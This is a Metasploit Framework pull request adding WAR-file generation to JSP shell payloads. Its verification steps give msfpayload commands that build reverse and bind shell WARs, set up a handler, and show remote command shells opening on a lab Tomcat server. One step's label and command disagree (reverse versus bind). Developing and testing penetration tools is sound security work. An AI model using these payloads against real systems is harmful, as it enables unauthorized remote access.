rapid7/metasploit-framework — pull request #2811 by jvazquez-r7 (2013-12-30 20:01:40+00:00)
Title: Add generate_war to jsp_shell payloads

As @schierlm pointed here https://dev.metasploit.com/redmine/issues/8724 should be possible to create a war payload from a jsp payload:

```
creating a war from a jsp payload (like java/jsp_shell_reverse_tcp) - should just put the .jsp into the .war
```

Unfortunately, the jsp_shell payloads doesn't provide a generate_war method, so a war can't be generated from jsp_shell payloads. This pull request tries to fix it.

Verification
--------------

- [ ] Generate a war from a jsp_shell_reverse_tcp payload (in this case, windows version):

```
./msfpayload java/jsp_shell_bind_tcp RHOST=192.168.172.244 W > /tmp/test6.war
```
- [ ] Run the exploit/multi/handler to catch the session

```
msf exploit(handler) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > rexploit
[*] Reloading module...
```

- [ ] Deploy the war on a Windows tomcat server and navigate to the application entry point, hopefully, enjoy session on the console:

```
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1033) at 2013-12-30 13:28:18 -0600

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\My Documents\Downloads\apache-tomcat-7.0.47-windows-x86\apache-tomcat-7.0.47>exit
exit
```

- [ ] Generate a war from a jsp_shell_bind_tcp payload (in this case, windows version):

```
./msfpayload java/jsp_shell_bind_tcp RHOST=192.168.172.244 W > /tmp/test7.war
```

- [ ] Run the exploit/multi/handler to catch the session

```
msf exploit(handler) > set payload java/jsp_shell_bind_tcp
payload => java/jsp_shell_bind_tcp
msf exploit(handler) > set rhost 192.168.172.244
rhost => 192.168.172.244
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started bind handler
[*] Starting the payload handler...
```

- [ ] Deploy the war on a Windows tomcat server and navigate to the application entry point, hopefully, enjoy session on the console:

```
[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 5 opened (192.168.172.1:54337 -> 192.168.172.244:4444) at 2013-12-30 13:52:58 -0600

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator\My Documents\Downloads\apache-tomcat-7.0.47-windows-x86\apache-tomcat-7.0.47>exit
exit

```

**About msfvenom** Once #2808 is landed msfvenom should be able to generate the war payloads from the jsp_shell payloads too